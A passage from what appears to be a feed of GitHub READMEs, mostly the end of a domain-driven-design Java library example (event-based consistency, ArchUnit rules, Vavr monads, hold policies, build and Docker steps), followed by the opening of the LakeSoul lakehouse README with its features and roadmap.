consistency.</p> <blockquote> <p>Good architecture is the one which postpones all important decisions</p> </blockquote> <p>... that's why we made it easy to change the consistency model, providing tests for each option, including basic implementations based on <strong>DomainEvents</strong> interface, which can be adjusted to our needs and toolset in future. Let's have a look at following examples:</p> <ul> <li> <p>Immediate consistency</p> <pre><code class="language-groovy">def 'should synchronize Patron, Book and DailySheet with events'() { given: bookRepository.save(book) and: patronRepo.publish(patronCreated()) when: patronRepo.publish(placedOnHold(book)) then: patronShouldBeFoundInDatabaseWithOneBookOnHold(patronId) and: bookReactedToPlacedOnHoldEvent() and: dailySheetIsUpdated() } boolean bookReactedToPlacedOnHoldEvent() { return bookRepository.findBy(book.bookId).get() instanceof BookOnHold } boolean dailySheetIsUpdated() { return new JdbcTemplate(datasource).query("select count(*) from holds_sheet s where s.hold_by_patron_id = ?", [patronId.patronId] as Object[], new ColumnMapRowMapper()).get(0) .get("COUNT(*)") == 1 } </code></pre> <p><em>Please note that here we are just reading from database right after events are being published</em></p> <p>Simple implementation of the event bus is based on Spring application events:</p> <pre><code class="language-java">@AllArgsConstructor public class JustForwardDomainEventPublisher implements DomainEvents { private final ApplicationEventPublisher applicationEventPublisher; @Override public void publish(DomainEvent event) { applicationEventPublisher.publishEvent(event); } } </code></pre> </li> <li> <p>Eventual consistency</p> <pre><code class="language-groovy">def 'should synchronize Patron, Book and DailySheet with events'() { given: bookRepository.save(book) and: patronRepo.publish(patronCreated()) when: patronRepo.publish(placedOnHold(book)) then: patronShouldBeFoundInDatabaseWithOneBookOnHold(patronId) and: bookReactedToPlacedOnHoldEvent() and: dailySheetIsUpdated() } void bookReactedToPlacedOnHoldEvent() { pollingConditions.eventually { assert bookRepository.findBy(book.bookId).get() instanceof BookOnHold } } void dailySheetIsUpdated() { pollingConditions.eventually { assert countOfHoldsInDailySheet() == 1 } } </code></pre> <p><em>Please note that the test looks exactly the same as previous one, but now we utilized Groovy's <strong>PollingConditions</strong> to perform asynchronous functionality tests</em></p> <p>Sample implementation of event bus is following:</p> <pre><code class="language-java">@AllArgsConstructor public class StoreAndForwardDomainEventPublisher implements DomainEvents { private final JustForwardDomainEventPublisher justForwardDomainEventPublisher; private final EventsStorage eventsStorage; @Override public void publish(DomainEvent event) { eventsStorage.save(event); } @Scheduled(fixedRate = 3000L) @Transactional public void publishAllPeriodically() { List&lt;DomainEvent&gt; domainEvents = eventsStorage.toPublish(); domainEvents.forEach(justForwardDomainEventPublisher::publish); eventsStorage.published(domainEvents); } } </code></pre> </li> </ul> <p>To clarify, we should always aim for aggregates that can handle a business operation atomically (transactionally if you like), so each aggregate should be as independent and decoupled from other aggregates as possible. Thus, eventual consistency is promoted. As we already mentioned, it comes with some tradeoffs, so from the pragmatic point of view immediate consistency is also a choice. You might ask yourself a question now: <em>What if I don't have any events yet?</em>. Well, a pragmatic approach would be to encapsulate the communication between aggregates in a <em>Service-like</em> class, where you could call proper aggregates line by line explicitly.</p> <h3>Events</h3> <p>Talking about inter-aggregate communication, we must remember that events reduce coupling, but don't remove it completely. Thus, it is very vital to share(publish) only those events, that are necessary for other aggregates to exist and function. Otherwise there is a threat that the level of coupling will increase introducing <strong>feature envy</strong>, because other aggregates might start using those events to perform actions they are not supposed to perform. A solution to this problem could be the distinction of domain events and integration events, which will be described here soon.</p> <h3>Events in Repositories</h3> <p>Repositories are one of the most popular design pattern. They abstract our domain model from data layer. In other words, they deal with state. That said, a common use-case is when we pass a new state to our repository, so that it gets persisted. It may look like so:</p> <pre><code class="language-java">public class BusinessService { private final PatronRepository patronRepository; void businessMethod(PatronId patronId) { Patron patron = patronRepository.findById(patronId); //do sth patronRepository.save(patron); } } </code></pre> <p>Conceptually, between 1st and 3rd line of that business method we change state of our Patron from A to B. This change might be calculated by dirty checking or we might just override entire Patron state in the database. Third option is <em>Let's make implicit explicit</em> and actually call this state change A-&gt;B an <strong>event</strong>. After all, event-driven architecture is all about promoting state changes as domain events.</p> <p>Thanks to this our domain model may become immutable and just return events as results of invoking a command like so:</p> <pre><code class="language-java">public BookPlacedOnHold placeOnHold(AvailableBook book) { ... } </code></pre> <p>And our repository might operate directly on events like so:</p> <pre><code class="language-java">public interface PatronRepository { void save(PatronEvent event) { } </code></pre> <h3>ArchUnit</h3> <p>One of the main components of a successful project is technical leadership that lets the team go in the right direction. Nevertheless, there are tools that can support teams in keeping the code clean and protect the architecture, so that the project won't become a Big Ball of Mud, and thus will be pleasant to develop and to maintain. The first option, the one we proposed, is <a href="https://www.archunit.org/">ArchUnit</a> - a Java architecture test tool. ArchUnit lets you write unit tests of your architecture, so that it is always consistent with initial vision. Maven modules could be an alternative as well, but let's focus on the former.</p> <p>In terms of hexagonal architecture, it is essential to ensure, that we do not mix different levels of abstraction (hexagon levels):</p> <pre><code class="language-java">@ArchTest public static final ArchRule model_should_not_depend_on_infrastructure = noClasses() .that() .resideInAPackage("..model..") .should() .dependOnClassesThat() .resideInAPackage("..infrastructure.."); </code></pre> <p>and that frameworks do not affect the domain model</p> <pre><code class="language-java">@ArchTest public static final ArchRule model_should_not_depend_on_spring = noClasses() .that() .resideInAPackage("..io.pillopl.library.lending..model..") .should() .dependOnClassesThat() .resideInAPackage("org.springframework.."); </code></pre> <h3>Functional thinking</h3> <p>When you look at the code you might find a scent of functional programming. Although we do not follow a <em>clean</em> FP, we try to think of business processes as pipelines or workflows, utilizing functional style through following concepts.</p> <p><em>Please note that this is not a reference project for FP.</em></p> <h4>Immutable objects</h4> <p>Each class that represents a business concept is immutable, thanks to which we:</p> <ul> <li>provide full encapsulation and objects' states protection,</li> <li>secure objects for multithreaded access,</li> <li>control all side effects much clearer.</li> </ul> <h4>Pure functions</h4> <p>We model domain operations, discovered in Design Level Event Storming, as pure functions, and declare them in both domain and application layers in the form of Java's functional interfaces. Their implementations are placed in infrastructure layer as ordinary methods with side effects. Thanks to this approach we can follow the abstraction of ubiquitous language explicitly, and keep this abstraction implementation-agnostic. As an example, you could have a look at <code>FindAvailableBook</code> interface and its implementation:</p> <pre><code class="language-java">@FunctionalInterface public interface FindAvailableBook { Option&lt;AvailableBook&gt; findAvailableBookBy(BookId bookId); } </code></pre> <pre><code class="language-java">@AllArgsConstructor class BookDatabaseRepository implements FindAvailableBook { private final JdbcTemplate jdbcTemplate; @Override public Option&lt;AvailableBook&gt; findAvailableBookBy(BookId bookId) { return Match(findBy(bookId)).of( Case($Some($(instanceOf(AvailableBook.class))), Option::of), Case($(), Option::none) ); } Option&lt;Book&gt; findBy(BookId bookId) { return findBookById(bookId) .map(BookDatabaseEntity::toDomainModel); } private Option&lt;BookDatabaseEntity&gt; findBookById(BookId bookId) { return Try .ofSupplier(() -&gt; of(jdbcTemplate.queryForObject("SELECT b.* FROM book_database_entity b WHERE b.book_id = ?", new BeanPropertyRowMapper&lt;&gt;(BookDatabaseEntity.class), bookId.getBookId()))) .getOrElse(none()); } } </code></pre> <h4>Type system</h4> <p><em>Type system - like</em> modelling - we modelled each domain object's state discovered during EventStorming as separate classes: <code>AvailableBook</code>, <code>BookOnHold</code>, <code>CheckedOutBook</code>. With this approach we provide much clearer abstraction than having a single <code>Book</code> class with an enum-based state management. Moving the logic to these specific classes brings Single Responsibility Principle to a different level. Moreover, instead of checking invariants in every business method we leave the role to the compiler. As an example, please consider following scenario: <em>you can place on hold only a book that is currently available</em>. We could have done it in a following way:</p> <pre><code class="language-java">public Either&lt;BookHoldFailed, BookPlacedOnHoldEvents&gt; placeOnHold(Book book) { if (book.status == AVAILABLE) { ... } } </code></pre> <p>but we use the <em>type system</em> and declare method of following signature</p> <pre><code class="language-java">public Either&lt;BookHoldFailed, BookPlacedOnHoldEvents&gt; placeOnHold(AvailableBook book) { ... } </code></pre> <p>The more errors we discover at compile time the better.</p> <p>Yet another advantage of applying such type system is that we can represent business flows and state transitions with functions much easier. As an example, following functions:</p> <pre><code>placeOnHold: AvailableBook -&gt; BookHoldFailed | BookPlacedOnHold cancelHold: BookOnHold -&gt; BookHoldCancelingFailed | BookHoldCanceled </code></pre> <p>are much more concise and descriptive than these:</p> <pre><code>placeOnHold: Book -&gt; BookHoldFailed | BookPlacedOnHold cancelHold: Book -&gt; BookHoldCancelingFailed | BookHoldCanceled </code></pre> <p>as here we have a lot of constraints hidden within function implementations.</p> <p>Moreover if you think of your domain as a set of operations (functions) that are being executed on business objects (aggregates) you don't think of any execution model (like async processing). It is fine, because you don't have to. Domain functions are free from I/O operations, async, and other side-effects-prone things, which are put into the infrastructure layer. Thanks to this, we can easily test them without mocking mentioned parts.</p> <h4>Monads</h4> <p>Business methods might have different results. One might return a value or a <code>null</code>, throw an exception when something unexpected happens or just return different objects under different circumstances. All those situations are typical to object-oriented languages like Java, but do not fit into functional style. We are dealing with this issues with monads (monadic containers provided by <a href="https://www.vavr.io">Vavr</a>):</p> <ul> <li> <p>When a method returns optional value, we use the <code>Option</code> monad:</p> <pre><code class="language-java">Option&lt;Book&gt; findBy(BookId bookId) { ... } </code></pre> </li> <li> <p>When a method might return one of two possible values, we use the <code>Either</code> monad:</p> <pre><code class="language-java">Either&lt;BookHoldFailed, BookPlacedOnHoldEvents&gt; placeOnHold(AvailableBook book) { ... } </code></pre> </li> <li> <p>When an exception might occur, we use <code>Try</code> monad:</p> <pre><code class="language-java">Try&lt;Result&gt; placeOnHold(@NonNull PlaceOnHoldCommand command) { ... } </code></pre> </li> </ul> <p>Thanks to this, we can follow the functional programming style, but we also enrich our domain language and make our code much more readable for the clients.</p> <h4>Pattern Matching</h4> <p>Depending on a type of a given book object we often need to perform different actions. Series of if/else or switch/case statements could be a choice, but it is the pattern matching that provides the most conciseness and flexibility. With the code like below we can check numerous patterns against objects and access their constituents, so our code has a minimal dose of language-construct noise:</p> <pre><code class="language-java">private Book handleBookPlacedOnHold(Book book, BookPlacedOnHold bookPlacedOnHold) { return API.Match(book).of( Case($(instanceOf(AvailableBook.class)), availableBook -&gt; availableBook.handle(bookPlacedOnHold)), Case($(instanceOf(BookOnHold.class)), bookOnHold -&gt; raiseDuplicateHoldFoundEvent(bookOnHold, bookPlacedOnHold)), Case($(), () -&gt; book) ); } </code></pre> <h3>(No) ORM</h3> <p>If you run <code>mvn dependency:tree</code> you won't find any JPA implementation. Although we think that ORM solutions (like Hibernate) are very powerful and useful, we decided not to use them, as we wouldn't utilize their features. What features are talking about? Lazy loading, caching, dirty checking. Why don't we need them? We want to have more control over SQL queries and minimize the object-relational impedance mismatch ourselves. Moreover, thanks to relatively small aggregates, containing as little data as it is required to protect the invariants, we don't need the lazy loading mechanism either. With Hexagonal Architecture we have the ability to separate domain and persistence models and test them independently. Moreover, we can also introduce different persistence strategies for different aggregates. In this project, we utilize both plain SQL queries and <code>JdbcTemplate</code> and use new and very promising project called Spring Data JDBC, that is free from the JPA-related overhead mentioned before. Please find below an example of a repository:</p> <pre><code class="language-java">interface PatronEntityRepository extends CrudRepository&lt;PatronDatabaseEntity, Long&gt; { @Query("SELECT p.* FROM patron_database_entity p where p.patron_id = :patronId") PatronDatabaseEntity findByPatronId(@Param("patronId") UUID patronId); } </code></pre> <p>At the same time we propose other way of persisting aggregates, with plain SQL queries and <code>JdbcTemplate</code>:</p> <pre><code class="language-java">@AllArgsConstructor class BookDatabaseRepository implements BookRepository, FindAvailableBook, FindBookOnHold { private final JdbcTemplate jdbcTemplate; @Override public Option&lt;Book&gt; findBy(BookId bookId) { return findBookById(bookId) .map(BookDatabaseEntity::toDomainModel); } private Option&lt;BookDatabaseEntity&gt; findBookById(BookId bookId) { return Try .ofSupplier(() -&gt; of(jdbcTemplate.queryForObject("SELECT b.* FROM book_database_entity b WHERE b.book_id = ?", new BeanPropertyRowMapper&lt;&gt;(BookDatabaseEntity.class), bookId.getBookId()))) .getOrElse(none()); } ... } </code></pre> <p><em>Please note that despite having the ability to choose different persistence implementations for aggregates it is recommended to stick to one option within the app/team</em></p> <h3>Architecture-code gap</h3> <p>We put a lot of attention to keep the consistency between the overall architecture (including diagrams) and the code structure. Having identified bounded contexts we could organize them in modules (packages, to be more specific). Thanks to this we gain the famous microservices' autonomy, while having a monolithic application. Each package has well defined public API, encapsulating all implementation details by using package-protected or private scopes.</p> <p>Just by looking at the package structure:</p> <pre><code>└── library ├── catalogue ├── commons │&nbsp;&nbsp; ├── aggregates │&nbsp;&nbsp; ├── commands │&nbsp;&nbsp; └── events │&nbsp;&nbsp; └── publisher └── lending ├── book │&nbsp;&nbsp; ├── application │&nbsp;&nbsp; ├── infrastructure │&nbsp;&nbsp; └── model ├── dailysheet │&nbsp;&nbsp; ├── infrastructure │&nbsp;&nbsp; └── model ├── librarybranch │&nbsp;&nbsp; └── model ├── patron │&nbsp;&nbsp; ├── application │&nbsp;&nbsp; ├── infrastructure │&nbsp;&nbsp; └── model └── patronprofile ├── infrastructure ├── model └── web </code></pre> <p>you can see that the architecture is screaming that it has two bounded contexts: <strong>catalogue</strong> and <strong>lending</strong>. Moreover, the <strong>lending context</strong> is built around five business objects: <strong>book</strong>, <strong>dailysheet</strong>, <strong>librarybranch</strong>, <strong>patron</strong>, and <strong>patronprofile</strong>, while <strong>catalogue</strong> has no subpackages, which suggests that it might be a CRUD with no complex logic inside. Please find the architecture diagram below.</p> <p><img src="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/c4/component-diagram.png" alt="Component diagram"></p> <p>Yet another advantage of this approach comparing to packaging by layer for example is that in order to deliver a functionality you would usually need to do it in one package only, which is the aforementioned autonomy. This autonomy, then, could be transferred to the level of application as soon as we split our <em>context-packages</em> into separate microservices. Following this considerations, autonomy can be given away to a product team that can take care of the whole business area end-to-end.</p> <h3>Model-code gap</h3> <p>In our project we do our best to reduce <em>model-code gap</em> to bare minimum. It means we try to put equal attention to both the model and the code and keep them consistent. Below you will find some examples.</p> <h4>Placing on hold</h4> <p><img src="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/images/placing_on_hold.jpg" alt="Placing on hold"></p> <p>Starting with the easiest part, below you will find the model classes corresponding to depicted command and events:</p> <pre><code class="language-java">@Value class PlaceOnHoldCommand { ... } </code></pre> <pre><code class="language-java">@Value class BookPlacedOnHold implements PatronEvent { ... } </code></pre> <pre><code class="language-java">@Value class MaximumNumberOfHoldsReached implements PatronEvent { ... } </code></pre> <pre><code class="language-java">@Value class BookHoldFailed implements PatronEvent { ... } </code></pre> <p>We know it might not look impressive now, but if you have a look at the implementation of an aggregate, you will see that the code reflects not only the aggregate name, but also the whole scenario of <code>PlaceOnHold</code> command handling. Let us uncover the details:</p> <pre><code class="language-java">public class Patron { public Either&lt;BookHoldFailed, BookPlacedOnHoldEvents&gt; placeOnHold(AvailableBook book) { return placeOnHold(book, HoldDuration.openEnded()); } ... } </code></pre> <p>The signature of <code>placeOnHold</code> method screams, that it is possible to place a book on hold only when it is available (more information about protecting invariants by compiler you will find in <a href="https://raw.githubusercontent.com/ddd-by-examples/library/master/#type-system">Type system section</a>). Moreover, if you try to place available book on hold it can <strong>either</strong> fail (<code>BookHoldFailed</code>) or produce some events - what events?</p> <pre><code class="language-java">@Value class BookPlacedOnHoldEvents implements PatronEvent { @NonNull UUID eventId = UUID.randomUUID(); @NonNull UUID patronId; @NonNull BookPlacedOnHold bookPlacedOnHold; @NonNull Option&lt;MaximumNumberOfHoldsReached&gt; maximumNumberOfHoldsReached; @Override public Instant getWhen() { return bookPlacedOnHold.when; } public static BookPlacedOnHoldEvents events(BookPlacedOnHold bookPlacedOnHold) { return new BookPlacedOnHoldEvents(bookPlacedOnHold.getPatronId(), bookPlacedOnHold, Option.none()); } public static BookPlacedOnHoldEvents events(BookPlacedOnHold bookPlacedOnHold, MaximumNumberOfHoldsReached maximumNumberOfHoldsReached) { return new BookPlacedOnHoldEvents(bookPlacedOnHold.patronId, bookPlacedOnHold, Option.of(maximumNumberOfHoldsReached)); } public List&lt;DomainEvent&gt; normalize() { return List.&lt;DomainEvent&gt;of(bookPlacedOnHold).appendAll(maximumNumberOfHoldsReached.toList()); } } </code></pre> <p><code>BookPlacedOnHoldEvents</code> is a container for <code>BookPlacedOnHold</code> event, and - if patron has 5 book placed on hold already - <code>MaximumNumberOfHoldsReached</code> (please mind the <code>Option</code> monad). You can see now how perfectly the code reflects the model.</p> <p>It is not everything, though. In the picture above you can also see a big rectangular yellow card with rules (policies) that define the conditions that need to be fulfilled in order to get the given result. All those rules are implemented as functions <strong>either</strong> allowing or rejecting the hold:</p> <p><img src="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/images/placing-on-hold-policy-restricted.png" alt="Restricted book policy"></p> <pre><code class="language-java">PlacingOnHoldPolicy onlyResearcherPatronsCanHoldRestrictedBooksPolicy = (AvailableBook toHold, Patron patron, HoldDuration holdDuration) -&gt; { if (toHold.isRestricted() &amp;&amp; patron.isRegular()) { return left(Rejection.withReason("Regular patrons cannot hold restricted books")); } return right(new Allowance()); }; </code></pre> <p><img src="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/images/placing-on-hold-policy-overdue.png" alt="Overdue checkouts policy"></p> <pre><code class="language-java">PlacingOnHoldPolicy overdueCheckoutsRejectionPolicy = (AvailableBook toHold, Patron patron, HoldDuration holdDuration) -&gt; { if (patron.overdueCheckoutsAt(toHold.getLibraryBranch()) &gt;= OverdueCheckouts.MAX_COUNT_OF_OVERDUE_RESOURCES) { return left(Rejection.withReason("cannot place on hold when there are overdue checkouts")); } return right(new Allowance()); }; </code></pre> <p><img src="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/images/placing-on-hold-policy-max.png" alt="Max number of holds policy"></p> <pre><code class="language-java">PlacingOnHoldPolicy regularPatronMaximumNumberOfHoldsPolicy = (AvailableBook toHold, Patron patron, HoldDuration holdDuration) -&gt; { if (patron.isRegular() &amp;&amp; patron.numberOfHolds() &gt;= PatronHolds.MAX_NUMBER_OF_HOLDS) { return left(Rejection.withReason("patron cannot hold more books")); } return right(new Allowance()); }; </code></pre> <p><img src="https://raw.githubusercontent.com/ddd-by-examples/library/master/docs/images/placing-on-hold-policy-open-ended.png" alt="Open ended hold policy"></p> <pre><code class="language-java">PlacingOnHoldPolicy onlyResearcherPatronsCanPlaceOpenEndedHolds = (AvailableBook toHold, Patron patron, HoldDuration holdDuration) -&gt; { if (patron.isRegular() &amp;&amp; holdDuration.isOpenEnded()) { return left(Rejection.withReason("regular patron cannot place open ended holds")); } return right(new Allowance()); }; </code></pre> <h4>Spring</h4> <p>Spring Framework seems to be the most popular Java framework ever used. Unfortunately it is also quite common to overuse its features in the business code. What you find in this project is that the domain packages are fully focused on modelling business problems, and are free from any DI, which makes it easy to unit-test it which is invaluable in terms of code reliability and maintainability. It does not mean, though, that we do not use Spring Framework - we do. Below you will find some details:</p> <ul> <li>Each bounded context has its own independent application context. It means that we removed the runtime coupling, which is a step towards extracting modules (and microservices). How did we do that? Let's have a look: <pre><code class="language-java">@SpringBootConfiguration @EnableAutoConfiguration public class LibraryApplication { public static void main(String[] args) { new SpringApplicationBuilder() .parent(LibraryApplication.class) .child(LendingConfig.class).web(WebApplicationType.SERVLET) .sibling(CatalogueConfiguration.class).web(WebApplicationType.NONE) .run(args); } } </code></pre> </li> <li>As you could see above, we also try not to use component scan wherever possible. Instead we utilize <code>@Configuration</code> classes where we define module specific beans in the infrastructure layer. Those configuration classes are explicitly declared in the main application class.</li> </ul> <h3>Tests</h3> <p>Tests are written in a BDD manner, expressing stories defined with Example Mapping. It means we utilize both TDD and Domain Language discovered with Event Storming.</p> <p>We also made an effort to show how to create a DSL, that enables to write tests as if they were sentences taken from the domain descriptions. Please find an example below:</p> <pre><code class="language-groovy">def 'should make book available when hold canceled'() { given: BookDSL bookOnHold = aCirculatingBook() with anyBookId() locatedIn anyBranch() placedOnHoldBy anyPatron() and: PatronEvent.BookHoldCanceled bookHoldCanceledEvent = the bookOnHold isCancelledBy anyPatron() when: AvailableBook availableBook = the bookOnHold reactsTo bookHoldCanceledEvent then: availableBook.bookId == bookOnHold.bookId availableBook.libraryBranch == bookOnHold.libraryBranchId availableBook.version == bookOnHold.version } </code></pre> <p><em>Please also note the <strong>when</strong> block, where we manifest the fact that books react to cancellation event</em></p> <h2>How to contribute</h2> <p>The project is still under construction, so if you like it enough to collaborate, just let us know or simply create a Pull Request.</p> <h2>How to Build</h2> <h3>Requirements</h3> <ul> <li>Java 11</li> <li>Maven</li> </ul> <h3>Quickstart</h3> <p>You can run the library app by simply typing the following:</p> <pre><code class="language-console">$ mvn spring-boot:run ... ... 2019-04-03 15:55:39.162 INFO 18957 --- [ main] o.s.b.a.e.web.EndpointLinksResolver : Exposing 2 endpoint(s) beneath base path '/actuator' 2019-04-03 15:55:39.425 INFO 18957 --- [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat started on port(s): 8080 (http) with context path '' 2019-04-03 15:55:39.428 INFO 18957 --- [ main] io.pillopl.library.LibraryApplication : Started LibraryApplication in 5.999 seconds (JVM running for 23.018) </code></pre> <h3>Build a Jar package</h3> <p>You can build a jar with maven like so:</p> <pre><code class="language-console">$ mvn clean package ... ... [INFO] Building jar: /home/pczarkowski/development/spring/library/target/library-0.0.1-SNAPSHOT.jar [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ </code></pre> <h3>Build with Docker</h3> <p>If you've already built the jar file you can run:</p> <pre><code class="language-console">docker build -t spring/library . </code></pre> <p>Otherwise you can build the jar file using the multistage dockerfile:</p> <pre><code class="language-console">docker build -t spring/library -f Dockerfile.build . </code></pre> <p>Either way once built you can run it like so:</p> <pre><code class="language-console">$ docker run -ti --rm --name spring-library -p 8080:8080 spring/library </code></pre> <h3>Production ready metrics and visualization</h3> <p>To run the application as well as Prometheus and Grafana dashboard for visualizing metrics you can run all services:</p> <pre><code class="language-console">$ docker-compose up </code></pre> <p>If everything goes well, you can access the following services at given location:</p> <ul> <li><a href="http://localhost:8080/actuator/prometheus">http://localhost:8080/actuator/prometheus</a> - published Micrometer metrics</li> <li><a href="http://localhost:9090">http://localhost:9090</a> - Prometheus dashboard</li> <li><a href="http://localhost:3000">http://localhost:3000</a> - Grafana dashboard</li> </ul> <p>In order to see some metrics, you must create a dashboard. Go to <code>Create</code> -&gt; <code>Import</code> and select attached <code>jvm-micrometer_rev8.json</code>. File has been pulled from <code>https://grafana.com/grafana/dashboards/4701</code>.</p> <p>Please note application will be run with <code>local</code> Spring profile to setup some initial data.</p> <h2>References</h2> <ol> <li><a href="https://leanpub.com/introducing_eventstorming">Introducing EventStorming</a> by Alberto Brandolini</li> <li><a href="https://pragprog.com/book/swdddf/domain-modeling-made-functional">Domain Modelling Made Functional</a> by Scott Wlaschin</li> <li><a href="https://softwarearchitecturefordevelopers.com">Software Architecture for Developers</a> by Simon Brown</li> <li><a href="https://www.amazon.com/Clean-Architecture-Craftsmans-Software-Structure/dp/0134494164">Clean Architecture</a> by Robert C. Martin</li> <li><a href="https://www.amazon.com/Domain-Driven-Design-Tackling-Complexity-Software/dp/0321125215">Domain-Driven Design: Tackling Complexity in the Heart of Software</a> by Eric Evans</li> </ol> + lakesoul-io/LakeSoul + 2023-09-25T01:32:10Z + tag:github.com,2023-09-25:/lakesoul-io/LakeSoul + + <p>LakeSoul is an end-to-end, realtime and cloud native Lakehouse framework with fast data ingestion, concurrent update and incremental data analytics on cloud storages for both BI and AI applications.</p><hr><img src="https://github.com/lakesoul-io/artwork/raw/main/horizontal/color/LakeSoul_Horizontal_Color.svg?sanitize=true" alt="LakeSoul" height="200"> <img src="https://github.com/lfai/artwork/raw/main/lfaidata-assets/lfaidata-project-badge/sandbox/color/lfaidata-project-badge-sandbox-color.svg?sanitize=true" alt="LF AI &amp; Data Sandbox Project" height="180"> <p><img src="https://bestpractices.coreinfrastructure.org/projects/7192/badge" alt="OpenSSF Best Practices"></p> <p><img src="https://github.com/lakesoul-io/LakeSoul/actions/workflows/maven-test.yml/badge.svg?sanitize=true" alt="Maven Test"> <img src="https://github.com/lakesoul-io/LakeSoul/actions/workflows/flink-cdc-test.yml/badge.svg?sanitize=true" alt="Flink CDC Test"> <img src="https://github.com/lakesoul-io/LakeSoul/actions/workflows/native-build.yml/badge.svg?sanitize=true" alt="Build"></p> <p><a href="https://raw.githubusercontent.com/lakesoul-io/LakeSoul/main/README-CN.md">中文介绍</a></p> <p>LakeSoul is a cloud-native Lakehouse framework that supports scalable metadata management, ACID transactions, efficient and flexible upsert operation, schema evolution, and unified streaming &amp; batch processing.</p> <p>LakeSoul supports multiple computing engines to read and write lake warehouse table data, including Spark, Flink, Presto, and PyTorch, and supports multiple computing modes such as batch, stream, MPP, and AI. LakeSoul supports storage systems such as HDFS and S3.</p> <p><img src="https://raw.githubusercontent.com/lakesoul-io/LakeSoul/main/website/static/img/lakeSoulModel.png" alt="LakeSoul Arch"></p> <p>LakeSoul was originally created by DMetaSoul company and was donated to Linux Foundation AI &amp; Data as a sandbox project since May 2023.</p> <p>LakeSoul implements incremental upserts for both row and column and allows concurrent updates.</p> <p>LakeSoul uses LSM-Tree like structure to support updates on hash partitioning table with primary key, and achieves very high write throughput while providing optimized merge on read performance (refer to <a href="https://lakesoul-io.github.io/blog/2023/04/21/lakesoul-2.2.0-release">Performance Benchmarks</a>). LakeSoul scales metadata management and achieves ACID control by using PostgreSQL.</p> <p>LakeSoul uses Rust to implement the native metadata layer and IO layer, and provides C/Java/Python interfaces to support the connecting of multiple computing frameworks such as big data and AI.</p> <p>LakeSoul supports concurrent batch or streaming read and write. Both read and write supports CDC semantics, and together with auto schema evolution and exacly-once guarantee, constructing realtime data warehouses is made easy.</p> <p>LakeSoul supports multi-workspace and RBAC. LakeSoul uses Postgres's RBAC and row-level security policies to implement permission isolation for metadata. Together with Hadoop users and groups, physical data isolation can be achieved. LakeSoul's permission isolation is effective for SQL/Java/Python jobs.</p> <p>LakeSoul supports automatic disaggregated compaction, automatic table life cycle maintenance, and automatic redundant data cleaning, reducing operation costs and improving usability.</p> <p>More detailed features please refer to our doc page: <a href="https://lakesoul-io.github.io/docs/intro">Documentations</a></p> <h1>Quick Start</h1> <p>Follow the <a href="https://lakesoul-io.github.io/docs/Getting%20Started/setup-local-env">Quick Start</a> to quickly set up a test env.</p> <h1>Tutorials</h1> <p>Please find tutorials in doc site:</p> <ul> <li>Checkout <a href="https://github.com/lakesoul-io/LakeSoul/tree/main/python/examples">Examples of Python Data Processing and AI Model Training on LakeSoul</a> on how LakeSoul connecting AI to Lakehouse to build a unified and modern data infrastructure.</li> <li>Checkout <a href="https://lakesoul-io.github.io/docs/Tutorials/flink-cdc-sink">LakeSoul Flink CDC Whole Database Synchronization Tutorial</a> on how to sync an entire MySQL database into LakeSoul in realtime, with auto table creation, auto DDL sync and exactly once guarantee.</li> <li>Checkout <a href="https://lakesoul-io.github.io/docs/Usage%20Docs/flink-lakesoul-connector">Flink SQL Usage</a> on using Flink SQL to read or write LakeSoul in both batch and streaming mode, with the supports of Flink Changelog Stream semantics and row-level upsert and delete.</li> <li>Checkout <a href="https://lakesoul-io.github.io/docs/Tutorials/mutil-stream-merge">Multi Stream Merge and Build Wide Table Tutorial</a> on how to merge multiple stream with same primary key (and different other columns) concurrently without join.</li> <li>Checkout <a href="https://lakesoul-io.github.io/docs/Tutorials/upsert-and-merge-udf">Upsert Data and Merge UDF Tutorial</a> on how to upsert data and Merge UDF to customize merge logic.</li> <li>Checkout <a href="https://lakesoul-io.github.io/docs/Tutorials/snapshot-manage">Snapshot API Usage</a> on how to do snapshot read (time travel), snapshot rollback and cleanup.</li> <li>Checkout <a href="https://lakesoul-io.github.io/docs/Tutorials/incremental-query">Incremental Query Tutorial</a> on how to do incremental query in Spark in batch or stream mode.</li> </ul> <h1>Usage Documentations</h1> <p>Please find usage documentations in doc site: <a href="https://lakesoul-io.github.io/docs/Usage%20Docs/setup-meta-env">Usage Doc</a></p> <p><a href="https://lakesoul-io.github.io/zh-Hans/docs/Getting%20Started/setup-local-env">快速开始</a></p> <p><a href="https://lakesoul-io.github.io/zh-Hans/docs/Tutorials/flink-cdc-sink">教程</a></p> <p><a href="https://lakesoul-io.github.io/zh-Hans/docs/Usage%20Docs/setup-meta-env">使用文档</a></p> <h1>Feature Roadmap</h1> <ul> <li>Data Science and AI <ul> <li><input type="checkbox" checked disabled> Native Python Reader (without PySpark)</li> <li><input type="checkbox" checked disabled> PyTorch Dataset and distributed training</li> </ul> </li> <li>Meta Management (<a href="https://github.com/lakesoul-io/LakeSoul/issues/23">#23</a>) <ul> <li><input type="checkbox" checked disabled> Multiple Level Partitioning: Multiple range partition and at most one hash partition</li> <li><input type="checkbox" checked disabled> Concurrent write with auto conflict resolution</li> <li><input type="checkbox" checked disabled> MVCC with read isolation</li> <li><input type="checkbox" checked disabled> Write transaction (two-stage commit) through Postgres Transaction</li> <li><input type="checkbox" checked disabled> Schema Evolution: Column add/delete supported</li> </ul> </li> <li>Table operations <ul> <li><input type="checkbox" checked disabled> LSM-Tree style upsert for hash partitioned table</li> <li><input type="checkbox" checked disabled> Merge on read for hash partition with upsert delta file</li> <li><input type="checkbox" checked disabled> Copy on write update for non hash partitioned table</li> <li><input type="checkbox" checked disabled> Automatic Disaggregated Compaction Service</li> </ul> </li> <li>Data Warehousing <ul> <li><input type="checkbox" checked disabled> CDC stream ingestion with auto ddl sync</li> <li><input type="checkbox" checked disabled> Incremental and Snapshot Query <ul> <li><input type="checkbox" checked disabled> Snapshot Query (<a href="https://github.com/lakesoul-io/LakeSoul/issues/103">#103</a>)</li> <li><input type="checkbox" checked disabled> Incremental Query (<a href="https://github.com/lakesoul-io/LakeSoul/issues/103">#103</a>)</li> <li><input type="checkbox" checked disabled> Incremental Streaming Source (<a href="https://github.com/lakesoul-io/LakeSoul/issues/130">#130</a>)</li> <li><input type="checkbox" checked disabled> 